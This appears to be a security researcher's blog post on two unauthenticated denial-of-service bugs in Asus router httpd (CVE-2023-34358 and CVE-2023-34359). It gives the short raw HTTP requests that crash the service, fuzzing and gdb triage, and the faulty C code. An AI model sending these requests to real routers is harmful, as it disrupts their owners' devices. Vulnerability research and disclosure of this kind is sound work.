Recently I came across a few exploitable DoS conditions in Asus httpd while doing some fuzzing. Although these aren’t the most impactful bugs (the Asus watchdog process restarts httpd anytime it detects a crash) they can be exploited unauthenticated.

Also, even though the watchdog restarts the service, it remains possible to just continue sending DoS requests, crashing it as soon as it restarts, lol.

Unauthenticated DoS Conditions in Asus httpd

First up, CVE-2023-34358

CVE-2023-34358 PoC

GET / HTTP/1.0
Host: 192.168.1.180:80
Content-Length: 1

0

Yup, that’s all. I found this a while back and never dug in, all I knew is that a request body sent to httpd that began with an integer would crash the web service, but I wasn’t sure if this could be something more, so I sat on it for a bit until I had some time to triage it.

Using the Asus Merling-ng firmware, I set up an instance to perform some user emulation of the httpd bin and fuzzed using AFL with grammar mutators to see if I could generate any unique crashes. AFL of course generated some wild results, and plenty of crashes– none of which were particularly “unique”.

Core Dumps

Looking at the many core dumps generated by manually invoking the crash and those found by AFL we see a few minor differences, but they all ended up crashing in the same do_json_decode function:

Crash 1 - Manual

# gdb-multiarch -q usr/sbin/httpd qemu_httpd_20230101-134349_1803037.core
Reading symbols from usr/sbin/httpd...
[...]
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000444b4 in do_json_decode ()
(gdb) bt
#0  0x000444b4 in do_json_decode ()
#1  0x0001b390 in do_ej (path=<optimized out>, stream=0x0) at ej.c:309
#2  0x00019c5c in handle_request ()
#3  0x00016ef8 in main ()

Crash 2+ - AFL

# gdb-multiarch -q usr/sbin/httpd qemu_httpd_20230101-134448_1803079.core
Reading symbols from usr/sbin/httpd...
[...]
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000444b4 in do_json_decode ()
(gdb) bt
#0  0x000444b4 in do_json_decode ()
#1  0x00047714 in do_get_ig_config_cgi ()
#2  0x00019c5c in handle_request ()
#3  0x00016ef8 in main ()

We must go deeper

That’s interesting, but not enough to tell what’s going on. Recompiling the merlin httpd with debugging symbols (-g) yields us some more info on a crash.

../src/router/httpd/Makefile:342

httpd: $(OBJS)
        @echo " [httpd] CC $@"
        $(CC) -g -o $@ $(OBJS) $(LIBS) $(EXTRALDFLAGS)

And the new core dump:

# gdb-multiarch -q usr/sbin/httpd qemu_httpd_20230101-143447_1811053.core
Reading symbols from usr/sbin/httpd...
[...]
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000444b4 in do_json_decode ()
(gdb) bt full
#0  0x000444b4 in do_json_decode ()
No symbol table info available.
#1  0x0001b390 in do_ej (path=<optimized out>, stream=0x0) at ej.c:309
        pat_buf = '\000' <repeats 484 times>...
        pattern = 0xfffec7cc ""
        asp = 0x0
        asp_end = 0x0
        key = 0x0
        key_end = 0x0
        start_pat = <optimized out>
        end_pat = <optimized out>
        lang = 0x1098a0 "EN"
        fp = 0x108150
        ret = <optimized out>
        read_len = <optimized out>
        len = <optimized out>
        no_translate = 1
        kw = {len = 0, tlen = 0, idx = 0x0, buf = 0x0}
        current_lang = <optimized out>
        root = 0x1099d8
#2  0x00019c5c in handle_request ()
No symbol table info available.
#3  0x00016ef8 in main ()
No symbol table info available.

Still pretty hard to tell, but it probably has to do with pat_buf = '\000' <repeats 484 times>... or pattern = 0xfffec7cc "" pointing to empty values.

But, after some fiddling I realized that the full debug symbols weren’t displaying. With some coercion (Adding CFLAGS += -g lel), we end up with the following core dump backtrace:

# gdb-multiarch -q usr/sbin/httpd qemu_httpd_20230104-203755_3086479.core
Reading symbols from usr/sbin/httpd...
[New LWP 3086479]
[...]
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00043fa4 in do_json_decode (root=0x1049d8) at web.c:11576
11576                   json_object_object_foreach(tmp_obj, key, val){
(gdb) bt full
#0  0x00043fa4 in do_json_decode (root=0x1049d8) at web.c:11576
        entrykey = <optimized out>
        entry_nextkey = <optimized out>
        key = 0x0
        val = 0x0
        name_tmp = '\000' <repeats 49 times>
        tmp_obj = 0x104e58
        copy_json = 0x0
#1  0x0001af94 in do_ej ()
No symbol table info available.
#2  0x000199f8 in handle_request ()
No symbol table info available.
#3  0x00016c84 in main ()
No symbol table info available.

The crash comes from web.c:11576

#0  0x00043fa4 in do_json_decode (root=0x1049d8) at web.c:11576
11576                   json_object_object_foreach(tmp_obj, key, val){

do_json_decode looks like this:

int do_json_decode(struct json_object *root)
{
	char name_tmp[50] = {0};
	struct json_object *tmp_obj = NULL;
	struct json_object *copy_json = NULL;

	decode_json_buffer(post_json_buf);

	if((tmp_obj = json_tokener_parse(post_json_buf)) != NULL){
		json_object_object_foreach(tmp_obj, key, val){
			memset(name_tmp, 0, sizeof(name_tmp));
			wl_nband_to_wlx(key, name_tmp, sizeof(name_tmp));
			copy_json = json_object_get(val);
			json_object_object_add(root, name_tmp, copy_json);
		}
		json_object_put(tmp_obj);
		return 1;
	}else
		return 0;
}

So, that makes sense… mostly. json_object_object_foreach bails as there’s no key-value-pair. Now, why does it bork when sent 0=0? idk, and I don’t care. That’s for another day, with a more interesting bug.

CVE-2023-34359 PoC

If you thought the first one was simple:

GET /login.cgi HTTP/1.1
Host: 192.168.1.2
User-Agent: asusrouter-Windows-DUTUtil-1.0.1.278

Core Dumps

This one was really easy to triage.

$ ulimit -c unlimited
$ chroot . ./qemu-arm-static -E LD_PRELOAD=/firmadyne/libnvram.so /usr/sbin/httpd crash3
[...]
nvram_get_buf: = "admin"
nvram_get_int: p_Setting
sem_get: Key: 414b0002
sem_get: Key: 414b0002
nvram_get_int: Unable to read key: /firmadyne/libnvram/p_Setting!
Segmentation fault (core dumped)
$ gdb-multiarch usr/sbin/httpd qemu_httpd_20230105-215542_3503814.core
[...]
pwndbg> bt full
#0  0xfef6d6a4 in strlen () from /home/tester/amng-build/release/src-rt-5.02axhnd/targets/94908HND/fs/lib/libc.so.6
No symbol table info available.
#1  0x00034c40 in login_cgi (wp=0x103150, query=<optimized out>, path=<optimized out>, url=<optimized out>, arg=<optimized out>, webDir=<optimized out>, urlPrefix=<optimized out>) at web.c:19175
        authorization_t = <optimized out>
        authinfo = '\000' <repeats 499 times>
[...]

So, login_cgi is called and passed two important values:

authorization_t and authinfo

Now, does the request contain any authentication / authorization headers? No? What does web.c think about that?

web.c:19169

/* Is this the right user and password? */
if(nvram_match("http_username", authinfo) && compare_passwd_in_shadow(authinfo, authpass))
        auth_pass = 1;
if(!nvram_get_int("p_Setting")){
        if(strlen(authinfo) > 20)
                authinfo[20] = '\0';
        if(strlen(authpass) > 16)
                *(authpass+16) ='\0';
        if(nvram_match("http_username", authinfo) && compare_passwd_in_shadow(authinfo, authpass))
                auth_pass = 1;
}

It doesn’t like that much at ALL. Classic null-dereference on 19175: if(strlen(authpass) > 16)– and that makes sense why the first stack entry, #0 0xfef6d6a4 in strlen () causes the crash.

Closing thoughts

Simple bugs with fun results and fun triaging :)

More to come soon!